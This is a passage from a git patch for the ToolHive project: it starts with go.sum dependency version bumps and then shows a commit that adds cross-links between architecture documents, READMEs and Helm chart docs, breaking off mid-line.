h1:1evKEGAtP37Pkwcc7EWMF0hedX0/x3Rkvei2wtG/TbU= +github.com/go-openapi/spec v0.22.6 h1:Tyy1pLaNCM8GBCFLoGYLonjJi6zykqyLCjXLc19ZPic= +github.com/go-openapi/spec v0.22.6/go.mod h1:HZvTHat+iH0PALQRWhrqIHtU/PEqxqd89fu0MxGlMeM= +github.com/go-openapi/strfmt v0.26.4 h1:yI6IAEfcWow459BD5UzFY430KUwXZwBHrYusPFkhWlc= +github.com/go-openapi/strfmt v0.26.4/go.mod h1:hNJi6nb5ETD6i7A1yRo03M9S6ZoTPPoWff1iUexmfUc= +github.com/go-openapi/swag v0.26.1 h1:l5sVEyVpwj+DDYeZyo7wQI/Ebn/mKYIyGB/pFwAfGoQ= +github.com/go-openapi/swag v0.26.1/go.mod h1:yNY38BbIVthxbkDtq1UHBCGasBqjakW3lCR6ANzdBEw= +github.com/go-openapi/swag/cmdutils v0.26.1 h1:f2iE1ijYaJ3nuu5PaEMx3zpEhzhZFgivCJObWEObLIQ= +github.com/go-openapi/swag/cmdutils v0.26.1/go.mod h1:Sm1MVFMkF6guJJ+pQqHnQA3N0j9qALV3NxzDSv6bETM= +github.com/go-openapi/swag/conv v0.27.0 h1:EKOH4feXrvdo8DbSsXSAqRT8fz1epEnS5O2IfXUOzE8= +github.com/go-openapi/swag/conv v0.27.0/go.mod h1:pfiv0uKQTbaGApk8Zs/lZV3uSjmSpa2FO1y183YngN8= +github.com/go-openapi/swag/fileutils v0.26.1 h1:K1XCM2CGhfNsc6YDt6v7Q5+1e59rftYWdcu/isZhvFw= +github.com/go-openapi/swag/fileutils v0.26.1/go.mod h1:mYUgxQAKX4ShS3qvvySx+/9yrlUnDhjiD1CalaQl8lQ= +github.com/go-openapi/swag/jsonname v0.26.1 h1:VReupaV6WxlAsCn0e4DUfgV6bPmINnPpyJDLqSfNPcE= +github.com/go-openapi/swag/jsonname v0.26.1/go.mod h1:OvdW6BoWoj33pTfi7x9vFrgmT+fk7aw0BRwvCE0YOuc= +github.com/go-openapi/swag/jsonutils v0.26.1 h1:2hdBfFkHg+7Wrz2VsCbeyR6hzkRDs7AztnMR2u84yOY= +github.com/go-openapi/swag/jsonutils v0.26.1/go.mod h1:U+RMJH3wa+6BRiphuRtIyI8fW9HPFqFQ4sHk2oRx0UQ= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.1 h1:1CD7NiLLb/TXl3tOnFYU4b+mNfb5rtgHkaA+q7RMYYQ= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.1/go.mod h1:ZWafc8nMdYzTE3uYY6W86f0n46+IF0g4uUyRhJw/kXc= +github.com/go-openapi/swag/loading v0.26.1 h1:E9K4wqXeROlhjFQ13K9zMz6ojFGXIggGe+ad1odrK9w= +github.com/go-openapi/swag/loading v0.26.1/go.mod h1:3qvRIlWzWdq1HvmldwmuJ2ohpcAryN6xVt2OTKd0/7E= +github.com/go-openapi/swag/mangling v0.26.1 h1:gpYI4WuPKFJJVjV5cDLGlDVJhFIxYjQc7yN5eEb4CqM= +github.com/go-openapi/swag/mangling v0.26.1/go.mod h1:POETDH01hqAdASXfw7ISEd9bCOE6xBHOt8NHmGZRmYM= +github.com/go-openapi/swag/netutils v0.26.1 h1:BNctoc39WTAUMxyAs355fExOPzMZtPbZ0ZZ1Am2FR5M= +github.com/go-openapi/swag/netutils v0.26.1/go.mod h1:y02vByhZhQPAVwOX+0KipXFZ/hUbk6G/Enhf5rGaOkQ= +github.com/go-openapi/swag/stringutils v0.26.1 h1:f88uYyTso7TnHrKM/bUBsQ5e2wKf37cpgo6pvbzd9yU= +github.com/go-openapi/swag/stringutils v0.26.1/go.mod h1:Sc6d3bU8fgk5AyZR8/8jEQ+Is/Ald+TD/IIggPN8UJk= +github.com/go-openapi/swag/typeutils v0.27.0 h1:aCf4MSGo8NLwZP8Q6t32DWLJSvl/WwNqgmEG+xJ6v2o= +github.com/go-openapi/swag/typeutils v0.27.0/go.mod h1:Srm0xFNRZ1Y+vCxJclo5qzx8aj+1pAKda/YfFPrG0dQ= +github.com/go-openapi/swag/yamlutils v0.26.1 h1:0TSLK+lXs9vfIhAWzBeI/lOzEnIoot6WTCO1aAeWFTk= +github.com/go-openapi/swag/yamlutils v0.26.1/go.mod h1:7W5b7PRX9MxwL7TjeG7H8HkyBGRsIDRObhyMWFgBI2M= github.com/go-openapi/testify/enable/yaml/v2 v2.5.1 h1:q9NtHwK4qHF7yZziBPvZyv7zWAIk8ok88Gh2mR6Jpc8= github.com/go-openapi/testify/enable/yaml/v2 v2.5.1/go.mod h1:JW0MXIotCYps/XsgJnG3a8Q7rE5xAiBwoOD5OfaIQBk= -github.com/go-openapi/testify/v2 v2.5.1 h1:TMdhCaw8fUNraVSf3Omoob1dO/AzBfhtFAPW0an6sBo= -github.com/go-openapi/testify/v2 v2.5.1/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw= -github.com/go-openapi/validate v0.25.3 h1:4nzAIavcJ7WveHK2+V1UAkZK3kWcjzxZCzjfZAfavKs= -github.com/go-openapi/validate v0.25.3/go.mod h1:GemfuGMyYpIaBoKpX3z8sLywrmxpzWVOoJ7R0VeAVuk= +github.com/go-openapi/testify/v2 v2.6.0 h1:5PKH2HE7YJ/LuRPQGvSxBRlFXNQhSetBLlGAgUEu3ug= +github.com/go-openapi/testify/v2 v2.6.0/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw= +github.com/go-openapi/validate v0.26.0 h1:dxWzQ3F+vb1SajqUxHjwb5T4mTpSHmdrtv5Bi7+ZNhw= +github.com/go-openapi/validate v0.26.0/go.mod h1:b4o00uq7fJeJA+wWhVFCJpKTctzeFwzZImGGmHsl2JA= github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= @@ -365,8 +365,8 @@ github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= -github.com/google/cel-go v0.28.1 h1:YWIwi77J4xIsYUwAF/iIuS6haffzIHS8yWI8glSbLWM= -github.com/google/cel-go v0.28.1/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= +github.com/google/cel-go v0.29.1 h1:8Gx3S5HPop5XPOHtZI8vkaGk+DBW/nn9fkpNPbh5dBk= +github.com/google/cel-go v0.29.1/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= github.com/google/certificate-transparency-go v1.3.3 h1:hq/rSxztSkXN2tx/3jQqF6Xc0O565UQPdHrOWvZwybo= github.com/google/certificate-transparency-go v1.3.3/go.mod h1:iR17ZgSaXRzSa5qvjFl8TnVD5h8ky2JMVio+dzoKMgA= github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo= @@ -380,8 +380,8 @@ github.com/google/go-containerregistry v0.21.7/go.mod h1:kjSbt7/zMsKLWfnHrIvKvhX github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/jsonschema-go v0.4.2 h1:tmrUohrwoLZZS/P3x7ex0WAVknEkBZM46iALbcqoRA8= -github.com/google/jsonschema-go v0.4.2/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= +github.com/google/jsonschema-go v0.4.3 h1:/DBOLZTfDow7pe2GmaJNhltueGTtDKICi8V8p+DQPd0= +github.com/google/jsonschema-go v0.4.3/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= github.com/google/pprof v0.0.0-20260402051712-545e8a4df936 h1:EwtI+Al+DeppwYX2oXJCETMO23COyaKGP6fHVpkpWpg= github.com/google/pprof v0.0.0-20260402051712-545e8a4df936/go.mod h1:MxpfABSjhmINe3F1It9d+8exIHFvUqtLIRCdOGNXqiI= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= @@ -391,8 +391,8 @@ github.com/google/trillian v1.7.3 h1:hziW+vo4czis48tzx2GK5xRBl/ZxBA9B0/UR5avXOro github.com/google/trillian v1.7.3/go.mod h1:qh8iy4x/GvnVXUBd5pK4oncuT1Y9vVYfibQVsR/WpKg= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.3.15 h1:xolVQTEXusUcAA5UgtyRLjelpFFHWlPQ4XfWGc7MBas= -github.com/googleapis/enterprise-certificate-proxy v0.3.15/go.mod h1:vqVt9yG9480NtzREnTlmGSBmFrA+bzb0yl0TxoBQXOg= +github.com/googleapis/enterprise-certificate-proxy v0.3.16 h1:F/VPrx0YPBdksZJQdCAp0WUsqnNmZpUZszzfYt0M5Dw= +github.com/googleapis/enterprise-certificate-proxy v0.3.16/go.mod h1:9Yb0eAkH/Xqhvv3zbeKf/+wMJqCeocWc6KIhDvEAuYE= github.com/googleapis/gax-go/v2 v2.22.0 h1:PjIWBpgGIVKGoCXuiCoP64altEJCj3/Ei+kSU5vlZD4= github.com/googleapis/gax-go/v2 v2.22.0/go.mod h1:irWBbALSr0Sk3qlqb9SyJ1h68WjgeFuiOzI4Rqw5+aY= github.com/gorilla/css v1.0.0/go.mod h1:Dn721qIggHpt4+EFCcTLTU/vk5ySda2ReITrtgBl60c= @@ -744,14 +744,14 @@ github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9Nz github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/sigstore/protobuf-specs v0.5.1 h1:/5OPaNuolRJmQfeZLayJGFXMpsRJEdgC6ah1/+7Px7U= github.com/sigstore/protobuf-specs v0.5.1/go.mod h1:DRBzpFuE+LnvQMN10/dU6nBeKwVLGEQ6o2FovN2Rats= -github.com/sigstore/rekor v1.5.2 h1:k6pX4o1zFAzAvDbXiVIp5IHj1b0wcDaxsbsbNpuRO8o= -github.com/sigstore/rekor v1.5.2/go.mod h1:WkMnITBccOFauPkT6yte74tF5gC83pefKRGZvNOsbjI= -github.com/sigstore/rekor-tiles/v2 v2.2.2-0.20260601073857-5d098a2b6443 h1:/CO8F6m3Bo/f59bZo5dv1sTIfUnQqVnepIdDV24KoDw= -github.com/sigstore/rekor-tiles/v2 v2.2.2-0.20260601073857-5d098a2b6443/go.mod h1:w1h8wF8vq9lHjmtRdwJiEaoVxhP+WHIMpj4M39pkzp0= +github.com/sigstore/rekor v1.5.3 h1:0Tyolw3zreRgm7PUW8dccFLXGBThi08278jI8EXNSr4= +github.com/sigstore/rekor v1.5.3/go.mod h1:h3GK5dDqCcWJJZUJwdpKGSSmEV2GEjPUjJy3WTjBwzA= +github.com/sigstore/rekor-tiles/v2 v2.3.0 h1:HhMgH61UP0t899V8Fjt7pz1YdgOBptbaQdnCF+79cdc= +github.com/sigstore/rekor-tiles/v2 v2.3.0/go.mod h1:DEFiKSyQ4nF75QRVNdOPaIH3cmvMkO2B6xDZjNYngPc= github.com/sigstore/sigstore v1.10.8 h1:1Mgkxvkw4AXMfIP1DOjc6kw0GkUgA8pGVpveN/EfOq4= github.com/sigstore/sigstore v1.10.8/go.mod h1:f9+B/4iaYimvUkySyb2mvc73n3RLqNn24grHZM/ET8M= -github.com/sigstore/sigstore-go v1.2.1 h1:YWP/rDbBaEBvtbkj6xtwsSj38ZCFEhTVVadNOXjVe3A= -github.com/sigstore/sigstore-go v1.2.1/go.mod h1:I8BqVwAb/SaQJ5pBu5IDFY+ksq8O/1/kCag8XUgrsko= +github.com/sigstore/sigstore-go v1.2.2 h1:xAJ8hxaoecC0HKBYVbrwUjkeAI+GJYu6vLqbxDlD2Q0= +github.com/sigstore/sigstore-go v1.2.2/go.mod h1:MIFwBxAHJD+/lKgZzt9n/4Zhq/3T2+EuGX8iGrIsZgU= github.com/sigstore/sigstore/pkg/signature/kms/aws v1.10.8 h1:tofVQ+UWJgad/69I5zbqxdFCN5gpIn9tRQP7iBzIpBw= github.com/sigstore/sigstore/pkg/signature/kms/aws v1.10.8/go.mod h1:73AfJE8H6w5KGCFPBu4x/OG+i1Yxgmh0L/FtV7prd88= github.com/sigstore/sigstore/pkg/signature/kms/azure v1.10.8 h1:8Mt7J36GcUEmbiJaiFhz2tud5ZIgkfVVCe2H/WJCHmw= @@ -789,8 +789,8 @@ github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU= github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY= github.com/stacklok/toolhive-catalog v0.20260706.0 h1:ZgEtTogdPjl2Tc/zamYExRH609HDJxS+EbxgdjmMH/w= github.com/stacklok/toolhive-catalog v0.20260706.0/go.mod h1:J+l8hyYSbIhLCe3IsBJuVpP1wQbsuUXRS5o+B9M0GpU= -github.com/stacklok/toolhive-core v0.0.26 h1:aWpwECt1A0Cq3ZL3rMG1mmibALcmVWg07oiNTqSESQk= -github.com/stacklok/toolhive-core v0.0.26/go.mod h1:w0CkwJEIwlyK9ht/zNfRxA5kY6J3dbJr8v2CSu7M1hE= +github.com/stacklok/toolhive-core v0.0.27 h1:ow2asQoBH+763/gAcZ82pS76ZJFYwGeB22RnDycMFk0= +github.com/stacklok/toolhive-core v0.0.27/go.mod h1:vV9k4vfLGJkCO77QPCbikoE2b3+feAzherLQYdqEejw= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= @@ -824,8 +824,8 @@ github.com/tetratelabs/wazero v1.9.0 h1:IcZ56OuxrtaEz8UYNRHBrUa9bYeX9oVY93KspZZB github.com/tetratelabs/wazero v1.9.0/go.mod h1:TSbcXCfFP0L2FGkRPxHphadXPjo1T6W+CseNNY7EkjM= github.com/theupdateframework/go-tuf v0.7.0 h1:CqbQFrWo1ae3/I0UCblSbczevCCbS31Qvs5LdxRWqRI= github.com/theupdateframework/go-tuf v0.7.0/go.mod h1:uEB7WSY+7ZIugK6R1hiBMBjQftaFzn7ZCDJcp1tCUug= -github.com/theupdateframework/go-tuf/v2 v2.4.2-0.20260407074541-7e8f69f906ef h1:jJac5InhEfD0Z46/d5RayZjoavf/se7bPZpOgg8GLrM= -github.com/theupdateframework/go-tuf/v2 v2.4.2-0.20260407074541-7e8f69f906ef/go.mod h1:cLUSJ2cgR194lNWfp+TJT4P8PX7qGleCXdudqlCMtOE= +github.com/theupdateframework/go-tuf/v2 v2.4.2 h1:w7976/W8uTwlsegP5nRymlpjPgrwSh+AXUf85is6nJk= +github.com/theupdateframework/go-tuf/v2 v2.4.2/go.mod h1:JqBrIUnNLAaNq/8GmBcEMFWfAFBbqp/MkJEJseXKbks= github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= @@ -911,8 +911,8 @@ go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.43.0 h1:88Y4s2C8oTui1LGM6bT go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.43.0/go.mod h1:Vl1/iaggsuRlrHf/hfPJPvVag77kKyvrLeD10kpMl+A= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.43.0 h1:3iZJKlCZufyRzPzlQhUIWVmfltrXuGyfjREgGP3UUjc= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.43.0/go.mod h1:/G+nUPfhq2e+qiXMGxMwumDrP5jtzU+mWN7/sjT2rak= -go.opentelemetry.io/otel/exporters/prometheus v0.65.0 h1:jOveH/b4lU9HT7y+Gfamf18BqlOuz2PWEvs8yM7Q6XE= -go.opentelemetry.io/otel/exporters/prometheus v0.65.0/go.mod h1:i1P8pcumauPtUI4YNopea1dhzEMuEqWP1xoUZDylLHo= +go.opentelemetry.io/otel/exporters/prometheus v0.66.0 h1:vkrK8PAznv2NKt2r+kdu252ccGzkEqLc2aSXbQIALYQ= +go.opentelemetry.io/otel/exporters/prometheus v0.66.0/go.mod h1:V/UB6D3vMF/UBOL5igAsAYnk1nG/bzYYTzvsB16cy7o= go.opentelemetry.io/otel/exporters/zipkin v1.21.0 h1:D+Gv6lSfrFBWmQYyxKjDd0Zuld9SRXpIrEsKZvE4DO4= go.opentelemetry.io/otel/exporters/zipkin v1.21.0/go.mod h1:83oMKR6DzmHisFOW3I+yIMGZUTjxiWaiBI8M8+TU5zE= go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc= @@ -1106,16 +1106,16 @@ gomodules.xyz/jsonpatch/v2 v2.4.0 h1:Ci3iUJyx9UeRx7CeFN8ARgGbkESwJK+KB9lLcWxY/Zw gomodules.xyz/jsonpatch/v2 v2.4.0/go.mod h1:AH3dM2RI6uoBZxn3LVrfvJ3E0/9dG4cSrbuBJT4moAY= gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= -google.golang.org/api v0.280.0 h1:F4OfEHZhZh6a7uTufJAXXVd/2TQ8EjM4vZH+jX/vFYk= -google.golang.org/api v0.280.0/go.mod h1:oGKmPZRDoD3vdkf6MA7F4VNkR1rxCiuaPSkhsf3EolU= +google.golang.org/api v0.283.0 h1:0lkp8u0MPwJVHqRL+nJlMAoZVVzbmiXmFHXMOTmSPik= +google.golang.org/api v0.283.0/go.mod h1:6Wssta4c5n9qHq5CBhmlai5h/PUa1djdDAIhYEHyvcM= google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7 h1:XzmzkmB14QhVhgnawEVsOn6OFsnpyxNPRY9QV01dNB0= google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7/go.mod h1:L43LFes82YgSonw6iTXTxXUX1OlULt4AQtkik4ULL/I= google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa h1:Kjn0N0tCrDgiAFW+lGO4JZ3ck44CehvJQMAwj9QF0G8= google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa/go.mod h1:q4lMZS6kskjT5HvCPrnnypcDPVJqT/f4nfxmkE7gryY= google.golang.org/genproto/googleapis/rpc v0.0.0-20260523011958-0a33c5d7ca68 h1:PvEgGJf9C/1u5CHkInMg7UFYYUoiaQmW2LbtH0pjB78= google.golang.org/genproto/googleapis/rpc v0.0.0-20260523011958-0a33c5d7ca68/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= -google.golang.org/grpc v1.81.1 h1:VnnIIZ88UzOOKLukQi+ImGz8O1Wdp8nAGGnvOfEIWQQ= -google.golang.org/grpc v1.81.1/go.mod h1:xGH9GfzOyMTGIOXBJmXt+BX/V0kcdQbdcuwQ/zNw42I= +google.golang.org/grpc v1.82.0 h1:vguDnZUPjE26w09A63VoxZPnvPjB5Riyc0mkXPFmAIU= +google.golang.org/grpc v1.82.0/go.mod h1:yzTZ1TB1Z3SG+LIYaI+WiE8D5+PZ3ArnrSp8zF3+/ZA= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= From 34a2169e5ce4c350c2f910bcdd43b9084c5c4a4f Mon Sep 17 00:00:00 2001 From: Juan Antonio Osorio Date: Wed, 8 Jul 2026 18:18:39 +0300 Subject: [PATCH 33/66] Improve documentation discoverability and cross-linking (#5739) * Point agent entry files at the architecture docs The CLAUDE.md entry point mentioned docs/arch/ only as inline text near the bottom, so the architecture documentation was easy for a reader (or agent) to miss. Add a prominent, clickable pointer to the architecture index at the top, and make AGENTS.md a symlink to CLAUDE.md so tools that read the AGENTS.md convention get the same canonical guidance. Co-Authored-By: Claude Opus 4.8 * Cross-link related architecture documents The numbered architecture docs linked up to the index but rarely to each other, so moving between closely related topics (deployment modes and groups, runconfig and registry, transport and operator) meant routing back through the index. Add the missing lateral 'Related Documentation' links between strongly related docs, and give 14-plugins-system.md the Related section it was missing. Co-Authored-By: Claude Opus 4.8 * Link standalone READMEs from the developer guides Several READMEs were not linked from any hub, so a reader browsing the docs could not discover them: the generated CLI reference, the server API docs, the e2e test guide, the local Keycloak and OpenTelemetry setups, and the Helm chart docs. Link each from the most relevant guide, and add a Contributing section to the chart README templates so their CONTRIBUTING guides are reachable. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- AGENTS.md | 1 + CLAUDE.md | 4 +++- cmd/thv-operator/README.md | 4 ++++ deploy/charts/operator-crds/README.md | 4 ++++ deploy/charts/operator-crds/README.md.gotmpl | 4 ++++ deploy/charts/operator/README.md | 4 ++++ deploy/charts/operator/README.md.gotmpl | 4 ++++ docs/README.md | 8 ++++++++ docs/arch/01-deployment-modes.md | 2 ++ docs/arch/03-transport-architecture.md | 1 + docs/arch/05-runconfig-and-permissions.md | 1 + docs/arch/06-registry-system.md | 1 + docs/arch/07-groups.md | 1 + docs/arch/09-operator-architecture.md | 1 + docs/arch/10-virtual-mcp-architecture.md | 1 + docs/arch/12-skills-system.md | 1 + docs/arch/14-plugins-system.md | 7 +++++++ docs/observability.md | 4 ++++ test/e2e/README.md | 4 ++++ 19 files changed, 56 insertions(+), 1 deletion(-) create mode 120000 AGENTS.md diff --git a/AGENTS.md b/AGENTS.md new file mode 120000 index 0000000000..681311eb9c --- /dev/null +++ b/AGENTS.md @@ -0,0 +1 @@ +CLAUDE.md \ No newline at end of file diff --git a/CLAUDE.md b/CLAUDE.md index e566d11bc0..4390e2b1d9 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -6,6 +6,8 @@ This file provides guidance to Claude Code when working with this repository. ToolHive is a lightweight, secure manager for MCP (Model Context Protocol: https://modelcontextprotocol.io) servers written in Go. It provides a CLI (`thv`), a Kubernetes operator (`thv-operator`), and a proxy runner (`thv-proxyrunner`) for container-based MCP server isolation. +**To understand the system, start with the [Architecture Documentation](docs/arch/README.md).** Begin at the [Architecture Overview](docs/arch/00-overview.md) and [Core Concepts](docs/arch/02-core-concepts.md), then read the component deep-dives relevant to your task — [Deployment Modes](docs/arch/01-deployment-modes.md), [Transport Architecture](docs/arch/03-transport-architecture.md), [Kubernetes Operator](docs/arch/09-operator-architecture.md), [Virtual MCP](docs/arch/10-virtual-mcp-architecture.md), and more. The [architecture index](docs/arch/README.md) has a full map and by-topic navigation. + ## Build and Development Commands ```bash @@ -84,7 +86,7 @@ Detailed rules are in `.claude/rules/` (loaded automatically when matching files ## Architecture Documentation -When making changes that affect architecture, update relevant docs in `docs/arch/`. See `docs/arch/README.md` for structure. +When making changes that affect architecture, update relevant docs in `docs/arch/`. See the [architecture documentation index](docs/arch/README.md) for structure and the per-component documents. ## Things That Will Bite You diff --git a/cmd/thv-operator/README.md b/cmd/thv-operator/README.md index 22b58773a2..2fac701a33 100644 --- a/cmd/thv-operator/README.md +++ b/cmd/thv-operator/README.md @@ -129,6 +129,10 @@ helm upgrade -i toolhive-operator-crds oci://ghcr.io/stacklok/toolhive/toolhive- helm upgrade -i oci://ghcr.io/stacklok/toolhive/toolhive-operator --version= -n toolhive-system --create-namespace ``` +For the full list of configurable values, see the +[operator chart](../../deploy/charts/operator/README.md) and +[operator CRDs chart](../../deploy/charts/operator-crds/README.md) documentation. + ## Usage ### Creating an MCP Server diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index 29440e9bf5..6b42b1ade6 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -85,3 +85,7 @@ This is a one-time operation. After patching, future upgrades will work as long | crds.install | bool | `true` | Whether to install the CRDs in this chart | | crds.keep | bool | `true` | Whether to add the "helm.sh/resource-policy: keep" annotation to CRDs When true, CRDs will not be deleted when the Helm release is uninstalled | +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on contributing to this chart. + diff --git a/deploy/charts/operator-crds/README.md.gotmpl b/deploy/charts/operator-crds/README.md.gotmpl index 4239f894d7..0c3a333605 100644 --- a/deploy/charts/operator-crds/README.md.gotmpl +++ b/deploy/charts/operator-crds/README.md.gotmpl @@ -89,3 +89,7 @@ This is a one-time operation. After patching, future upgrades will work as long {{ template "chart.valuesSection" . }} +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on contributing to this chart. + diff --git a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index 1c99996229..d6a8c47487 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -99,3 +99,7 @@ The command removes all the Kubernetes components associated with the chart and | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | | registryAPI.image | string | `"ghcr.io/stacklok/thv-registry-api:v1.3.0"` | Container image for the registry API | +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on contributing to this chart. + diff --git a/deploy/charts/operator/README.md.gotmpl b/deploy/charts/operator/README.md.gotmpl index fed616e595..de8d55cbc9 100644 --- a/deploy/charts/operator/README.md.gotmpl +++ b/deploy/charts/operator/README.md.gotmpl @@ -52,3 +52,7 @@ The command removes all the Kubernetes components associated with the chart and {{ template "chart.valuesSection" . }} +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on contributing to this chart. + diff --git a/docs/README.md b/docs/README.md index ae11753018..3a2ee6e7d0 100644 --- a/docs/README.md +++ b/docs/README.md @@ -28,6 +28,7 @@ For information on the ToolHive Operator, see the ### Development Guidelines +- **[CLI Command Reference](cli/thv.md)** - Generated reference for every `thv` command and subcommand - **[CLI Best Practices](cli-best-practices.md)** - Guidelines for adding and maintaining CLI commands with focus on usability and consistency - **[Logging Practices](logging.md)** - Logging levels, when to use them, and how to structure log messages - **[Error Handling](error-handling.md)** - Error construction, wrapping, and handling patterns for CLI and API @@ -37,6 +38,7 @@ For information on the ToolHive Operator, see the - **[Runtime Implementation Guide](runtime-implementation-guide.md)** - Guide for implementing new container runtime support - **[Runtime Version Customization](runtime-version-customization.md)** - Customizing base images and packages for protocol-scheme builds - **[Remote MCP Authentication](remote-mcp-authentication.md)** - How ToolHive authenticates to remote MCP servers +- **[Server API Documentation](server/README.md)** - How the OpenAPI docs for the `thv serve` REST API are generated and served ### Operator Documentation @@ -111,6 +113,9 @@ ToolHive also includes comprehensive end-to-end tests that can be run using: task test-e2e ``` +See the [end-to-end test guide](../test/e2e/README.md) for the test structure, +Ginkgo labels, and how to run specific suites. + ### Other development tasks To see a list of all available development tasks, run: @@ -119,6 +124,9 @@ To see a list of all available development tasks, run: task --list ``` +To spin up a local Keycloak instance for testing authentication flows, see the +[Keycloak development setup](../deploy/keycloak/README.md). + ## Note on EXPERIMENTAL features From time to time, ToolHive may include features marked as EXPERIMENTAL. These diff --git a/docs/arch/01-deployment-modes.md b/docs/arch/01-deployment-modes.md index 56d5ca98fd..cd66c3ecc4 100644 --- a/docs/arch/01-deployment-modes.md +++ b/docs/arch/01-deployment-modes.md @@ -519,3 +519,5 @@ This allows the same codebase to behave appropriately in different environments. - [Transport Architecture](03-transport-architecture.md) - How proxying works - [RunConfig and Permissions](05-runconfig-and-permissions.md) - Configuration format - [Operator Architecture](09-operator-architecture.md) - Kubernetes operator details +- [Groups](07-groups.md) - Logical grouping of servers across deployment modes +- [Virtual 